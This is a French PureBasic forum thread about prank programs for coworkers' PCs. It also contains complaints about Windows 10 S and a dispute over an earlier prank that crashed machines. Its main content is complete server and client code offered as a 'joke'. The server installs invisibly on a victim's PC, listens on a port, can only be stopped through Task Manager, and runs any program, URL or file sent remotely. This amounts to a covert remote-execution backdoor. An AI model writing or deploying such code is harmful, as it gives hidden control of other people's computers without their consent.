PureBasic

SPH a écrit :Je prefere 1000 fois mieux un keylogger que le code malvaillant de boby !

Et si : j'en fais un plat car ca a fait planter mon ordi !!!

sacré nom di diou, tu vas pas t'y mettre aussi ! Z'avez qu'à faire un rapport à crosoft, faire planter un os avec un programme comme ça en 2017, c'est quand même pas pensable !

Ayant aussi WindowsBlind et étant risque-tout (très bête

) j'ai d'abord testé dans une VM et n'ai donc pas perdu la main (puisqu'il suffit de killer la VM)

Puis j'ai essayé sur mon Win 10 (avec les autres applications fermées): ça a bien planté, mais j'ai pu reprendre la main:

Plusieurs fois alt+ctrl+del jusqu'à arriver au gestionnaire de tâches (il faut insister et attendre)
Dans le gestionnaire de taches (qui clignotait comme un fou)
Fichier > Exécuter une nouvelle tâche
Appeler le shell (taper CMD)
Utiliser tasklist et taskkill pour killer purebasic_compilation0.exe et/ou l'IDE
Après on peut arrêter/redémarrer normalement (ou décharger/relancer WindowsBlind)

Mais je n'aime pas ce genre de "blagues" non plus.
(Quand je partais en vacances dans une boite, il y a des années, en windows 98..., j'enlevais mon HD

)

Jolie le canapé blanc Zorro

Code : Tout sélectionner

Delay(10)

remplacé par :

Code : Tout sélectionner

Delay(100)

Le résultat est le même sans les flash et le PC respire et en plus je n'ai même pas chopé une tendinite.

Amusez vous la bien, supprimez le poste si vraiment c'est trop un code de hacker ultra violent et plus que vilain vilain fiouloulou c'était trop méchant de ma part et à la revoiure !

djes a écrit :On ne va pas ennuyer fred pour des gamineries.
Zorro, tu as bien fait de signaler le problème, mais ce n'était pas la peine d'en faire un plat pareil, franchement. Boby, tu peux comprendre que ça énerve d'avoir un gros plantage de son ordi.
Enfin, on ne peut pas comparer un programme qui fait une blague en changeant les couleurs, qui normalement ne fait pas grand mal (si on corrige le bug), avec un programme d'espionnage genre keylogger... On n'est pas du tout dans la même catégorie !
Bref, vous réglez vos différends, s'il en reste, par mp, et on n'en parle plus... Bien sûr, ce serait bien que boby corrige son prog aussi.

Il me semble que le soucis c'est que Fred a vexé quelqu'un, plus que le programme de changement de couleur qu'il plante ou pas d'ailleurs.

A propos du keylogger, j'aurai été content d'en lire le code par curiosité et sans malignité de ma part, même si j'ai une idée de comment ça devait être fait.

Malheureusement, on comprends que les problèmes de pb avec les éditeurs d'antivirus priment.
Quoiqu'il en soit ce n'est surement pas Dobro en tant que personne ni ses intentions (qui sont, j'en suis sûr, totalement didactiques), qui ont été ciblées par Fred.

De toute façon Fred n'a pas lu ce fil, sinon il serait déja verrouillé je pense.

crosoft a trouvé LA solution, installer une version bridé de windows 10 sur les nouveaux portable, windows 10 S (S comme security), il n'est pas possible d'installer autre chose que ce qui vient du windows store....

je m'en suis offusqué... mais en fait apple fait quasi la même chose avec OS10, je crois que j'ai EïL Capitan... seule les appli du store peuvent être installées, groumph, j'avais un rar à extraire sur le mac, et l'appli n'était pas dans le store (ou payante), bref confirmer des trucs, valider des machins, pour enfin installer le bousin.... bonjour la securité....

Pat

Windows 10S !! Je frémis de rage en voyant cette nouvelle version.
- Impossibilité d'installer un exe. (Pas de chrome, de firefox et pas d'exé générés par PureBasic)
- Passage obligé par le Market de Microsoft.
- Impossibilité d'installer un driver.
- Edge obligatoirement le navigateur internet par défaut.

Cette version est avant tout destinée aux écoles ou aux entreprises soucieuses de leurs sécurités.

J'ai remarqué que des constructeurs comme Acer ou HP commercialisent déja des pc sous Windows 10S

■ Comment faire alors pour installer des exe tiers ? En faisant une mise à jour vers Windows 10 Pro pour 50$ US.

Ma première tablette MS Surface sous Windows RT était sur le même principe : Coincé par le windows store. !!!

Je redoutais un truc comme ça quand j'ai vu le windows store, et voilà, bim. S'il faut passer par une étape de validation pour diffuser nos trucs, comme sur Android, c'est vraiment la fin de la liberté. Je ne sais pas si je vais supporter ça ! Heureusement que PB fonctionne sous Linux, mais ça va être galère quand même !

@Djes: Pas d'inquiétude à avoir. Microsoft a déja subit un fiasco avec la version RT de Windows 10 et je pense que la version 10S ne sera pas déployée sur des ordinateurs familiaux. Quand au ordinateurs équipés de Windows 10 Pro il ne pourront pas passer sous Windows 10S.

J'espère...

C'est quand même dingue que dés qu'une merde arrive, y'a des cravates qui aient l'idée d'en profiter et de tirer la couverture à eux, plutot que d'essayer de la résoudre

Profiter qu'il existe de plus en plus de virus, pour imposer un Windows store... fallait déjà sortir des grandes écoles commerciales pour avoir cette idée à la con.

Surtout qu'il va encore y avoir des burnes pour acheter ce genre de machine comme on achète un fer à repasser et venir pleurer qu'ils peuvent pas installer tel ou tel programme.
J'ai eu moi aussi le même problème avec mon ancien patron qui avait eu l'idée d'acheter un windows RT (parce qu'il était moins cher

), et venait me demander comment installer un exe

On est mal .... ce monde me fatigue de plus en plus

Bonjour boby...
J'ai testé avec un timer à la place de la boucle pour ne pas saturer dans le code 1, si ça fonctionne sans problème ainsi, je voudrai revenir sur le coté blague.

Une blague doit être complètement inoffensive sur le système. Ton code à pour ma part modifié les couleurs mais ne les a pas remise.. Ensuite l'utilisateur doit pouvoir quitter le programme.
Il est donc pour moi à mettre à la poubelle en l'état sinon il faut d'abord capturer les couleurs système et les rétablir.

Enfin, même s'il est court, lorsqu'on post un code on doit expliquer sa fonction. Les débutants apprécieront et les recherches de codes sur le forum seront plus pertinentes.

Merci de ta compréhension.

@boby : N'en déplaise à quelques uns, j'aime le principe de ces codes, un truc pas trop méchant pour un bonne blague à un pote. Seulement il faut considérer deux principes de bases des joke programs : toujours tout remettre comme il faut à la fin, et ne pas gêner plus qu'on ne le voulait l'utilisateur... Là clairement avec WindowsBlinds ca cause bcp de lag...

En tout cas j'adore faire ce genre de blagues à mes potes aussi

@tous :
Windows 10 S...

Je ne sais que dire quand je vois ce genre d'évolution de cro$oft...

Ca me fait presque peur pour l'avenir... Je trouve cela honteux et déloyal, pensez à tous ces devs qui vivent par d'autres moyens que Microsoft... ceux de Firefox, de tous les autres logiciels sur le marché, même Fred....
Dans le cas où vous auriez un jour une machine avec ce systéme sachez deux choses :

On peut se faire rembourser sa licence Windows s'il est préinstallé sur un PC
Linux est (toujours) gratuit

D'après mon prof d'ASM, voici une bonne blague de chez "intel" il nous l'a passé 10 fois au-moins.

https://www.youtube.com/watch?v=NqlUZfOOS7E

Concernant Window 10s, je ne connaissait pas, je n’apprécie pas "Apel" pour ce ce genre de choses alors si Windows tourne à cela je passerais sous Linux.

*note : Blague qui touche au PC des gens, ça fait fâcher tout rouge il ne faut pas recommencer.*

C'est bon j'ai noté !

Allé pour répondre aux critères d'une bonne blague en voici une nouvelle plus en moins en guise d'excuse (bien que je reste satisfait du résultat de la première)
Une petite blagounette qui permet de rigoler à distance ET avec un code plus ou moins intéressant qui peut servir de "TUTO" pour construire une relation basic client serveur multi thread. L'idée est donc de lancer le serveur sur le PC de la victime afin de lancer des appli (soit URL sur la string du client, soit des fichier à transférer) depuis le client pour les faire s'ouvrir sur le PC serveur.

Serveur :

Code : Tout sélectionner

EnableExplicit
InitNetwork() : InitSound() : InitMovie()
Structure client
  ID.I
  PacketSize.i
  ReceivedSize.i
  *Data
EndStructure
Enumeration 
  #PRT_RunPrg
  #PRT_PlaySound
  #PRT_OpenFile
  #PRT_PlayMp3
EndEnumeration
Global NewList Client.Client(), *HeaderBuffer = AllocateMemory(SizeOf(integer)), window,mp3
Declare Handler_Packet(*Data)
Declare.s MakeTempName(ext$)
Declare close()
If CreateNetworkServer(0,5555)
  window = OpenWindow(#PB_Any,0,0,0,0,"",#PB_Window_Invisible)
  BindEvent(#PB_Event_CloseWindow,@close())
  Repeat
    Select NetworkServerEvent(0)
      Case #PB_NetworkEvent_None
        Delay(10)
      Case #PB_NetworkEvent_Data
        ForEach Client()
          If Client()\ID = EventClient()
            Break
          EndIf
        Next
        If Client()\PacketSize
          If Client()\PacketSize - Client()\ReceivedSize > 65536
            Client()\ReceivedSize + ReceiveNetworkData(Client()\ID,Client()\Data + Client()\ReceivedSize,65536)
          Else
            Client()\ReceivedSize + ReceiveNetworkData(Client()\ID,Client()\Data + Client()\ReceivedSize,Client()\PacketSize - Client()\ReceivedSize)
          EndIf
          If Client()\ReceivedSize = Client()\PacketSize
            Client()\PacketSize = 0
            CreateThread(@Handler_Packet(),@Client())
          EndIf
        Else
          ReceiveNetworkData(Client()\ID,*HeaderBuffer,SizeOf(integer))
          Client()\ReceivedSize = 0
          Client()\PacketSize = PeekI(*HeaderBuffer)
          Client()\Data = AllocateMemory(Client()\PacketSize)
        EndIf
      Case #PB_NetworkEvent_Connect
        AddElement(Client())
        Client()\ID = EventClient()
      Case #PB_NetworkEvent_Disconnect
				ForEach Client()
					If Client()\ID = EventClient()
						If Client()\PacketSize
							FreeMemory(Client()\Data)
						EndIf
						DeleteElement(Client())
						Break
					EndIf
				Next        
    EndSelect
  ForEver
EndIf

Procedure Handler_Packet(*ClientData.client)
  Protected *Data = *ClientData\Data, tmpfile$, file, snd,ext$
  Select PeekA(*Data)
    Case #PRT_RunPrg
      RunProgram(PeekS(*Data+SizeOf(ascii)+SizeOf(integer),PeekI(*Data+SizeOf(ascii))))
    Case #PRT_PlaySound
      snd = CatchSound(0,*Data+ SizeOf(ascii))
      If snd
        PlaySound(0)
      EndIf
    Case #PRT_OpenFile
      ext$ = PeekS(*Data+SizeOf(ascii)+SizeOf(integer),PeekI(*data+SizeOf(ascii)))
      Debug ext$
      tmpfile$ = MakeTempName(ext$)
      file = CreateFile(#PB_Any,GetTemporaryDirectory() + tmpfile$)
      If file
        WriteData(file,*Data+SizeOf(ascii)+SizeOf(integer)+(PeekI(*data+SizeOf(ascii))*2),MemorySize(*Data)-SizeOf(ascii))
        CloseFile(file)
        RunProgram(GetTemporaryDirectory()+ tmpfile$,"","",#PB_Program_Wait)
        DeleteFile(GetTemporaryDirectory() + tmpfile$)
      EndIf
    Case #PRT_PlayMp3
      If IsMovie(mp3)
        FreeMovie(mp3)
      EndIf
      file = CreateFile(#PB_Any,GetTemporaryDirectory()+"zic.mp3")
      WriteData(file,*Data+SizeOf(ascii),MemorySize(*Data)-SizeOf(ascii))
      CloseFile(file)
      mp3 = LoadMovie(#PB_Any,GetTemporaryDirectory()+"zic.mp3")
      If mp3
        PlayMovie(mp3,WindowID(window))
      EndIf
  EndSelect
  FreeMemory(*Data)
EndProcedure
Procedure.s MakeTempName(ext$)
  Protected Result$, loop
  For loop = 0 To 20
    Result$ = Result$ + Str(Random(9))
  Next loop
  Result$ = Result$+"."+ext$
  ProcedureReturn Result$
EndProcedure
Procedure close()
  If IsMovie(mp3)
    FreeMovie(mp3)
  EndIf
  If FileSize(GetTemporaryDirectory()+"zic.mp3") > 0
    DeleteFile(GetTemporaryDirectory()+"zic.mp3")
  EndIf
  End
EndProcedure

@Zorro : Tu feras attention le delay n'est que de 10 ms et il n'y a pas d'autre possibilité de fermer le serveur que via le gestionaire des tâches !!!!!!!!!!!!!!!!! (bah oui... le but d'une blague c'est que ça ne se voie pas...)

Client :

Code : Tout sélectionner

EnableExplicit
InitNetwork()
Enumeration 
  #PRT_RunPrg
  #PRT_PlaySound
  #PRT_OpenFile
  #PRT_PlayMp3
EndEnumeration
Declare close()
Declare send()
Declare connect()
Declare senddata()
Declare requestfile()
Global IP,ID,string, file$, text, *buffer = AllocateMemory(65536)
If OpenWindow(0,0,0,300,100,"",#PB_Window_ScreenCentered|#PB_Window_SystemMenu|#PB_Window_MinimizeGadget)
  IP = IPAddressGadget(#PB_Any,10,10,200,20)
  ButtonGadget(0,220,10,70,20,"Connexion")
  string = StringGadget(#PB_Any,10,40,200,20,"")
  ButtonGadget(1,220,40,70,20,"Envoi")
  text = TextGadget(#PB_Any,10,70,170,20,"",#PB_Text_Border)
  ButtonGadget(2,190,70,20,20,"...")
  ButtonGadget(3,220,70,70,20,"Envoi")
  BindEvent(#PB_Event_CloseWindow,@close())
  BindGadgetEvent(0,@connect())
  BindGadgetEvent(1,@send())
  BindGadgetEvent(2,@requestfile())
  BindGadgetEvent(3,@senddata())
  DisableGadget(1,1) : DisableGadget(2,1) : DisableGadget(3,1)
EndIf

Repeat : WaitWindowEvent() : ForEver

Procedure close()
  End
EndProcedure
Procedure connect()
  ID = OpenNetworkConnection(GetGadgetText(IP),5555)
  If ID
    MessageRequester("Connexion","Connexion OK")
    DisableGadget(1,0) : DisableGadget(2,0) 
  Else
    MessageRequester("Connexion","Connexion échoué")
    DisableGadget(1,1) : DisableGadget(2,1)
  EndIf
EndProcedure
Procedure send()
  Protected size = Len(GetGadgetText(string))*2
  PokeI(*buffer,size+SizeOf(ascii)+SizeOf(integer))
  PokeA(*buffer+SizeOf(integer),#PRT_RunPrg)
  PokeI(*buffer+SizeOf(integer)+SizeOf(ascii),Len(GetGadgetText(string)))
  PokeS(*buffer+SizeOf(integer)+SizeOf(ascii)+SizeOf(integer),GetGadgetText(string))
  SendNetworkData(ID,*buffer,SizeOf(integer)+SizeOf(ascii)+SizeOf(integer)+size)
  SetGadgetText(string,"")
EndProcedure
Procedure requestfile()
  Protected tmpfile$
  tmpfile$ = OpenFileRequester("Ouvrir",GetCurrentDirectory(),"",1)
  If tmpfile$
    file$ = tmpfile$
    DisableGadget(3,0)
    SetGadgetText(text,file$)
  Else
    file$ = ""
    SetGadgetText(text,"")
    DisableGadget(3,1)
  EndIf
EndProcedure
Procedure senddata()
  Protected file, size, datasend, send,*data
  file = ReadFile(#PB_Any,file$)
  If file
    size = FileSize(file$)
    *data = AllocateMemory(size + SizeOf(ascii) + SizeOf(integer))
    If GetExtensionPart(file$) = "wav"
     *data = AllocateMemory(size + SizeOf(ascii) + SizeOf(integer))
      PokeI(*data,size + SizeOf(ascii))
      PokeA(*data + SizeOf(integer),#PRT_PlaySound)
      ReadData(file,*data+SizeOf(ascii)+SizeOf(integer),size)
      size + SizeOf(ascii) + SizeOf(integer)
    ElseIf GetExtensionPart(file$) = "mp3"
     *data = AllocateMemory(size + SizeOf(ascii) + SizeOf(integer))
      PokeI(*data,size + SizeOf(ascii))
      PokeA(*data + SizeOf(integer),#PRT_PlayMp3)
      ReadData(file,*data+SizeOf(ascii)+SizeOf(integer),size)
      size + SizeOf(ascii) + SizeOf(integer)
      
    Else
      *data = AllocateMemory(size + SizeOf(ascii) + SizeOf(integer)+SizeOf(integer)+(Len(GetExtensionPart(file$))*2))
      PokeI(*data,size + SizeOf(ascii)+SizeOf(integer)+(Len(GetExtensionPart(file$))*2))
      PokeA(*data + SizeOf(integer),#PRT_OpenFile)
      PokeI(*data+SizeOf(ascii)+SizeOf(integer),Len(GetExtensionPart(file$)))
      PokeS(*data+SizeOf(ascii)+SizeOf(integer)+SizeOf(integer),GetExtensionPart(file$))
      ReadData(file,*data+SizeOf(ascii)+SizeOf(integer)+SizeOf(integer)+Len(GetExtensionPart(file$))*2,size)
      size +SizeOf(ascii)+SizeOf(integer)+SizeOf(integer)+(Len(GetExtensionPart(file$))*2)
    EndIf
   CloseFile(file)
    Repeat
      If size - datasend > 65536
        send = SendNetworkData(ID,*data+datasend,65536)
        If send > 0 : datasend + send : EndIf
      Else
        send = SendNetworkData(ID,*data+datasend,size - datasend)
        If send > 0 : datasend + send : EndIf
      EndIf
    Until datasend = size
    SetGadgetText(text,"")
    FreeMemory(*data)
   EndIf
EndProcedure

Ah oui, si vous envoyez un .wav ou .mp3, le serveur le jouera lui même sans ouvrir de fenetre.

PS : C'est promis rien ne seras modifié sur votre PC.

PureBasic

Qui dit vacances dit blagues sur les PC des collègues

Re: Qui dit vacances dit blagues sur les PC des collègues

Re: Qui dit vacances dit blagues sur les PC des collègues

Re: Qui dit vacances dit blagues sur les PC des collègues

Re: Qui dit vacances dit blagues sur les PC des collègues

Re: Qui dit vacances dit blagues sur les PC des collègues

Re: Qui dit vacances dit blagues sur les PC des collègues

Re: Qui dit vacances dit blagues sur les PC des collègues

Re: Qui dit vacances dit blagues sur les PC des collègues

Re: Qui dit vacances dit blagues sur les PC des collègues

Re: Qui dit vacances dit blagues sur les PC des collègues

Re: Qui dit vacances dit blagues sur les PC des collègues

Re: Qui dit vacances dit blagues sur les PC des collègues

Re: Qui dit vacances dit blagues sur les PC des collègues

Re: Qui dit vacances dit blagues sur les PC des collègues

Re: Qui dit vacances dit blagues sur les PC des collègues